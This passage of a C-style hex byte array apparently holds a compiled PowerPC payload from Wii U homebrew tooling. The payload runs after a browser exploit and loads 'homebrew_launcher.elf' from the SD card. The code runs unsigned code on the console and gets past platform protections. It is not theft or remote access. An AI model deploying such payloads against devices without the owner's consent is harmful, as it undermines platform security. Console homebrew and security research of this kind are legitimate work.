0x24, 0x81, 0x3f, 0x00, 0x04, 0x7f, 0x63, 0xdb, 0x78, 0x3b, 0x80, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x48, 0x00, 0x00, 0x18, 0x7f, 0x9c, 0x1a, 0x14, 0x4b, 0xff, 0xff, 0x98, 0x93, 0x79, 0x00, 0x00, 0x93, 0x9a, 0x00, 0x00, 0x3b, 0x80, 0x00, 0x01, 0x81, 0x3f, 0x00, 0x4c, 0x7f, 0xa4, 0xeb, 0x78, 0x80, 0xa1, 0x03, 0xec, 0x7f, 0xc3, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0xc0, 0xff, 0xff, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3f, 0x00, 0x3c, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xa4, 0xeb, 0x78, 0x38, 0xa1, 0x03, 0x08, 0x38, 0xc0, 0xff, 0xff, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x48, 0x00, 0x00, 0x08, 0x3b, 0x80, 0x00, 0x00, 0x81, 0x3f, 0x00, 0x2c, 0x7f, 0xc3, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3f, 0x00, 0x04, 0x7f, 0xc3, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3f, 0x00, 0x04, 0x7f, 0xa3, 0xeb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x7f, 0x83, 0xe3, 0x78, 0x48, 0x00, 0x00, 0x08, 0x38, 0x60, 0x00, 0x00, 0x39, 0x61, 0x04, 0x18, 0x48, 0x00, 0x04, 0x84, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0x70, 0x3d, 0x20, 0x00, 0x80, 0x61, 0x29, 0x15, 0x00, 0xbe, 0xc1, 0x00, 0x68, 0x90, 0x01, 0x00, 0x94, 0x7c, 0x79, 0x1b, 0x78, 0x3c, 0x60, 0x00, 0x80, 0x7c, 0x9a, 0x23, 0x78, 0x83, 0xc9, 0x00, 0x00, 0x38, 0x81, 0x00, 0x64, 0x38, 0x63, 0x0a, 0x0a, 0x83, 0xe9, 0x00, 0x04, 0x7f, 0xc9, 0x03, 0xa6, 0x3f, 0xa0, 0x00, 0x80, 0x3f, 0x80, 0xde, 0xad, 0x3e, 0xe0, 0x00, 0x80, 0x3e, 0xc0, 0x00, 0x80, 0x63, 0xbd, 0x13, 0x00, 0x63, 0x9c, 0xc0, 0xde, 0x3b, 0x60, 0x00, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x39, 0x20, 0x00, 0x00, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x91, 0x21, 0x00, 0x60, 0x38, 0x80, 0x00, 0x01, 0x38, 0xa5, 0x0a, 0x13, 0x38, 0xc1, 0x00, 0x60, 0x80, 0x61, 0x00, 0x64, 0x3a, 0xf7, 0x0b, 0x70, 0x3a, 0xd6, 0x0b, 0x29, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x60, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x81, 0x29, 0x00, 0x00, 0x38, 0x80, 0x00, 0x01, 0x38, 0xa5, 0x0a, 0x2d, 0x38, 0xc1, 0x00, 0x60, 0x91, 0x21, 0x00, 0x08, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x60, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x81, 0x29, 0x00, 0x00, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0x42, 0x38, 0xc1, 0x00, 0x10, 0x91, 0x21, 0x00, 0x0c, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0x49, 0x38, 0xc1, 0x00, 0x14, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0x50, 0x38, 0xc1, 0x00, 0x18, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0x58, 0x38, 0xc1, 0x00, 0x1c, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0x65, 0x38, 0xc1, 0x00, 0x20, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0x77, 0x38, 0xc1, 0x00, 0x24, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0x85, 0x38, 0xc1, 0x00, 0x28, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0x8a, 0x38, 0xc1, 0x00, 0x2c, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0x91, 0x38, 0xc1, 0x00, 0x30, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0x9f, 0x38, 0xc1, 0x00, 0x34, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0xab, 0x38, 0xc1, 0x00, 0x38, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0xba, 0x38, 0xc1, 0x00, 0x3c, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0xcb, 0x38, 0xc1, 0x00, 0x40, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0xd3, 0x38, 0xc1, 0x00, 0x44, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0xdd, 0x38, 0xc1, 0x00, 0x48, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0xe8, 0x38, 0xc1, 0x00, 0x4c, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0a, 0xf6, 0x38, 0xc1, 0x00, 0x50, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x38, 0xa5, 0x0b, 0x01, 0x38, 0xc1, 0x00, 0x54, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x80, 0x61, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0x60, 0x00, 0x80, 0x7f, 0xc9, 0x03, 0xa6, 0x38, 0x81, 0x00, 0x5c, 0x38, 0x63, 0x0b, 0x0d, 0x3f, 0xc0, 0x00, 0x80, 0x63, 0xde, 0x13, 0x04, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x80, 0x61, 0x00, 0x5c, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x0b, 0x18, 0x38, 0xc1, 0x00, 0x58, 0x3f, 0xe0, 0x00, 0x80, 0x63, 0xff, 0x14, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3d, 0x00, 0x00, 0x7f, 0x89, 0xe0, 0x00, 0x41, 0x9e, 0x00, 0x68, 0x81, 0x3e, 0x00, 0x00, 0x2f, 0x89, 0x00, 0x00, 0x41, 0xbe, 0x00, 0x5c, 0x81, 0x21, 0x00, 0x08, 0x38, 0x80, 0x00, 0x04, 0x80, 0x7e, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x7c, 0x78, 0x1b, 0x79, 0x41, 0x82, 0x00, 0x38, 0x81, 0x21, 0x00, 0x10, 0x80, 0x9d, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x80, 0xbe, 0x00, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x38, 0x61, 0x00, 0x08, 0x7f, 0x04, 0xc3, 0x78, 0x4b, 0xff, 0xf8, 0x39, 0x81, 0x21, 0x00, 0x0c, 0x90, 0x7f, 0x00, 0x00, 0x7f, 0x03, 0xc3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x93, 0x9d, 0x00, 0x00, 0x93, 0x7e, 0x00, 0x00, 0x81, 0x3f, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x80, 0x63, 0x18, 0x14, 0x00, 0x7f, 0x89, 0xe0, 0x00, 0x41, 0x9e, 0x00, 0x10, 0x81, 0x3f, 0x00, 0x00, 0x2f, 0x89, 0x00, 0x00, 0x40, 0x9e, 0x00, 0x68, 0x38, 0x81, 0x00, 0x60, 0x38, 0x61, 0x00, 0x08, 0x38, 0xa1, 0x00, 0x5c, 0x93, 0x61, 0x00, 0x60, 0x93, 0x61, 0x00, 0x5c, 0x4b, 0xff, 0xf9, 0x91, 0x80, 0x81, 0x00, 0x60, 0x7e, 0xc3, 0xb3, 0x78, 0x2f, 0x84, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x30, 0x38, 0x61, 0x00, 0x08, 0x4b, 0xff, 0xf7, 0xcd, 0x81, 0x21, 0x00, 0x0c, 0x90, 0x7f, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x80, 0x61, 0x00, 0x60, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3f, 0x00, 0x00, 0x2f, 0x89, 0x00, 0x00, 0x40, 0x9e, 0xff, 0x24, 0x7e, 0xe3, 0xbb, 0x78, 0x81, 0x21, 0x00, 0x18, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x4b, 0xff, 0xff, 0x10, 0x81, 0x38, 0x00, 0x00, 0x7f, 0x23, 0xcb, 0x78, 0x7f, 0x44, 0xd3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x83, 0xff, 0xfd, 0x41, 0x9e, 0x00, 0x30, 0x3d, 0x20, 0xde, 0xad, 0x38, 0x60, 0x00, 0x00, 0x61, 0x29, 0xc0, 0xde, 0x38, 0x80, 0x00, 0x00, 0x91, 0x38, 0x00, 0x00, 0x81, 0x21, 0x00, 0x58, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x28, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3d, 0x20, 0x00, 0x80, 0x7f, 0x23, 0xcb, 0x78, 0x61, 0x29, 0x15, 0x00, 0x7f, 0x44, 0xd3, 0x78, 0x81, 0x29, 0x00, 0x08, 0x81, 0x29, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x39, 0x61, 0x00, 0x90, 0x48, 0x00, 0x00, 0x24, 0x81, 0xcb, 0xff, 0xb8, 0x81, 0xeb, 0xff, 0xbc, 0x82, 0x0b, 0xff, 0xc0, 0x82, 0x2b, 0xff, 0xc4, 0x82, 0x4b, 0xff, 0xc8, 0x82, 0x6b, 0xff, 0xcc, 0x82, 0x8b, 0xff, 0xd0, 0x82, 0xab, 0xff, 0xd4, 0x82, 0xcb, 0xff, 0xd8, 0x82, 0xeb, 0xff, 0xdc, 0x83, 0x0b, 0xff, 0xe0, 0x83, 0x2b, 0xff, 0xe4, 0x83, 0x4b, 0xff, 0xe8, 0x83, 0x6b, 0xff, 0xec, 0x83, 0x8b, 0xff, 0xf0, 0x83, 0xab, 0xff, 0xf4, 0x83, 0xcb, 0xff, 0xf8, 0x80, 0x0b, 0x00, 0x04, 0x83, 0xeb, 0xff, 0xfc, 0x7c, 0x08, 0x03, 0xa6, 0x7d, 0x61, 0x5b, 0x78, 0x4e, 0x80, 0x00, 0x20, 0x46, 0x53, 0x47, 0x65, 0x74, 0x4d, 0x6f, 0x75, 0x6e, 0x74, 0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x20, 0x66, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x2e, 0x00, 0x53, 0x44, 0x20, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x20, 0x66, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x2e, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x30, 0x31, 0x2f, 0x77, 0x69, 0x69, 0x75, 0x2f, 0x61, 0x70, 0x70, 0x73, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x62, 0x72, 0x65, 0x77, 0x5f, 0x6c, 0x61, 0x75, 0x6e, 0x63, 0x68, 0x65, 0x72, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x62, 0x72, 0x65, 0x77, 0x5f, 0x6c, 0x61, 0x75, 0x6e, 0x63, 0x68, 0x65, 0x72, 0x2e, 0x65, 0x6c, 0x66, 0x00, 0x72, 0x00, 0x4e, 0x6f, 0x74, 0x20, 0x65, 0x6e, 0x6f, 0x75, 0x67, 0x68, 0x20, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x45, 0x4c, 0x46, 0x20, 0x66, 0x69, 0x6c, 0x65, 0x2e, 0x00, 0x63, 0x6f, 0x72, 0x65, 0x69, 0x6e, 0x69, 0x74, 0x00, 0x4d, 0x45, 0x4d, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x72, 0x6f, 0x6d, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x48, 0x65, 0x61, 0x70, 0x45, 0x78, 0x00, 0x4d, 0x45, 0x4d, 0x46, 0x72, 0x65, 0x65, 0x54, 0x6f, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x48, 0x65, 0x61, 0x70, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x6d, 0x65, 0x6d, 0x73, 0x65, 0x74, 0x00, 0x4f, 0x53, 0x46, 0x61, 0x74, 0x61, 0x6c, 0x00, 0x44, 0x43, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x52, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x49, 0x43, 0x49, 0x6e, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x52, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x5f, 0x5f, 0x6f, 0x73, 0x5f, 0x73, 0x6e, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x66, 0x00, 0x65, 0x78, 0x69, 0x74, 0x00, 0x46, 0x53, 0x49, 0x6e, 0x69, 0x74, 0x00, 0x46, 0x53, 0x41, 0x64, 0x64, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x45, 0x78, 0x00, 0x46, 0x53, 0x44, 0x65, 0x6c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x00, 0x46, 0x53, 0x49, 0x6e, 0x69, 0x74, 0x43, 0x6d, 0x64, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x00, 0x46, 0x53, 0x47, 0x65, 0x74, 0x4d, 0x6f, 0x75, 0x6e, 0x74, 0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x00, 0x46, 0x53, 0x4d, 0x6f, 0x75, 0x6e, 0x74, 0x00, 0x46, 0x53, 0x55, 0x6e, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x00, 0x46, 0x53, 0x4f, 0x70, 0x65, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x00, 0x46, 0x53, 0x47, 0x65, 0x74, 0x53, 0x74, 0x61, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x00, 0x46, 0x53, 0x52, 0x65, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x00, 0x46, 0x53, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x00, 0x73, 0x79, 0x73, 0x61, 0x70, 0x70, 0x2e, 0x72, 0x70, 0x6c, 0x00, 0x53, 0x59, 0x53, 0x52, 0x65, 0x6c, 0x61, 0x75, 0x6e, 0x63, 0x68, 0x54, 0x69, 0x74, 0x6c, 0x65, 0x00, 0x43, 0x6f, 0x75, 0x6c, 0x64, 0x20, 0x6e, 0x6f, 0x74, 0x20, 0x6c, 0x6f, 0x61, 0x64, 0x20, 0x66, 0x69, 0x6c, 0x65, 0x20, 0x2f, 0x77, 0x69, 0x69, 0x75, 0x2f, 0x61, 0x70, 0x70, 0x73, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x62, 0x72, 0x65, 0x77, 0x5f, 0x6c, 0x61, 0x75, 0x6e, 0x63, 0x68, 0x65, 0x72, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x62, 0x72, 0x65, 0x77, 0x5f, 0x6c, 0x61, 0x75, 0x6e, 0x63, 0x68, 0x65, 0x72, 0x2e, 0x65, 0x6c, 0x66, 0x00, 0x46, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x20, 0x74, 0x6f, 0x20, 0x6c, 0x6f, 0x61, 0x64, 0x20, 0x45, 0x4c, 0x46, 0x20, 0x2f, 0x77, 0x69, 0x69, 0x75, 0x2f, 0x61, 0x70, 0x70, 0x73, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x62, 0x72, 0x65, 0x77, 0x5f, 0x6c, 0x61, 0x75, 0x6e, 0x63, 0x68, 0x65, 0x72, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x62, 0x72, 0x65, 0x77, 0x5f, 0x6c, 0x61, 0x75, 0x6e, 0x63, 0x68, 0x65, 0x72, 0x2e, 0x65, 0x6c, 0x66, 0x00, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x2e, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x09, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x32, 0x00, 0x80, 0x09, 0x7c, 0x00, 0x00, 0x09, 0xd0, 0x00, 0x00, 0x02, 0x3a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x0a, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x49, 0x6e, 0x69, 0x74, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x47, 0x65, 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x45, 0x78, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x53, 0x65, 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x45, 0x78, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x43, 0x6c, 0x65, 0x61, 0x72, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x45, 0x78, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x46, 0x6c, 0x69, 0x70, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x73, 0x45, 0x78, 0x00, 0x4f, 0x53, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x50, 0x75, 0x74, 0x46, 0x6f, 0x6e, 0x74, 0x45, 0x78, 0x00, 0x73, 0x79, 0x73, 0x61, 0x70, 0x70, 0x2e, 0x72, 0x70, 0x6c, 0x00, 0x5f, 0x53, 0x59, 0x53, 0x4c, 0x61, 0x75, 0x6e, 0x63, 0x68, 0x4d, 0x69, 0x69, 0x53, 0x74, 0x75, 0x64, 0x69, 0x6f, 0x00, 0x49, 0x6e, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x20, 0x65, 0x6c, 0x66, 0x20, 0x66, 0x69, 0x6c, 0x65, 0x00, 0x63, 0x6f, 0x72, 0x65, 0x69, 0x6e, 0x69, 0x74, 0x2e, 0x72, 0x70, 0x6c, 0x00, 0x6d, 0x65, 0x6d, 0x73, 0x65, 0x74, 0x00, 0x4d, 0x45, 0x4d, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x72, 0x6f, 0x6d, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x48, 0x65, 0x61, 0x70, 0x45, 0x78, 0x00, 0x4d, 0x45, 0x4d, 0x46, 0x72, 0x65, 0x65, 0x54, 0x6f, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x48, 0x65, 0x61, 0x70, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x4f, 0x53, 0x45, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x6f, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6c, 0x00, 0x44, 0x43, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x52, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x49, 0x43, 0x49, 0x6e, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x52, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x5f, 0x45, 0x78, 0x69, 0x74, 0x00, 0x49, 0x4d, 0x5f, 0x4f, 0x70, 0x65, 0x6e, 0x00, 0x49, 0x4d, 0x5f, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x00, 0x49, 0x4d, 0x5f, 0x53, 0x65, 0x74, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x00, 0x4f, 0x53, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x72, 0x6f, 0x6d, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x4f, 0x53, 0x46, 0x72, 0x65, 0x65, 0x54, 0x6f, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x4e, 0x6f, 0x74, 0x20, 0x65, 0x6e, 0x6f, 0x75, 0x67, 0x68, 0x20, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x2e, 0x20, 0x45, 0x78, 0x69, 0x74, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x72, 0x65, 0x2d, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x20, 0x62, 0x72, 0x6f, 0x77, 0x73, 0x65, 0x72, 0x2e, 0x00, 0x4f, 0x53, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x4f, 0x53, 0x52, 0x65, 0x73, 0x75, 0x6d, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x4f, 0x53, 0x49, 0x73, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x64, 0x00, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x20, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x66, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x2e, 0x20, 0x45, 0x78, 0x69, 0x74, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x72, 0x65, 0x2d, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x20, 0x62, 0x72, 0x6f, 0x77, 0x73, 0x65, 0x72, 0x2e, 0x00, 0x46, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x20, 0x74, 0x6f, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x2e, 0x20, 0x45, 0x78, 0x69, 0x74, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x72, 0x65, 0x2d, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x20, 0x62, 0x72, 0x6f, 0x77, 0x73, 0x65, 0x72, 0x2e, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x2e, 0x72, 0x6f, 0x64, 0x61, 0x74, 0x61, 0x00, 0x2e, 0x64, 0x61, 0x74, 0x61, 0x00, 0x2e, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x01, 0x7a, 0x52, 0x00, 0x04, 0x7c, 0x41, 0x01, 0x1b, 0x0c, 0x01, 0x00, 0x0d, 0x0b, 0x11, 0x41, 0x7f, 0x8e, 0x12, 0x8f, 0x11, 0x90, 0x10, 0x91, 0x0f, 0x92, 0x0e, 0x93, 0x0d, 0x94, 0x0c, 0x95, 0x0b, 0x96, 0x0a, 0x97, 0x09, 0x98, 0x08, 0x99, 0x07, 0x9a, 0x06, 0x9b, 0x05, 0x9c, 0x04, 0x9d, 0x03, 0x9e, 0x02, 0x9f, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x44, 0xff, 0xff, 0xed, 0xdc, 0x00, 0x00, 0x00, 0x58, 0x00, 0x41, 0xce, 0x41, 0xcf, 0x41, 0xd0, 0x41, 0xd1, 0x41, 0xd2, 0x41, 0xd3, 0x41, 0xd4, 0x41, 0xd5, 0x41, 0xd6, 0x41, 0xd7, 0x41, 0xd8, 0x41, 0xd9, 0x41, 0xda, 0x41, 0xdb, 0x41, 0xdc, 0x41, 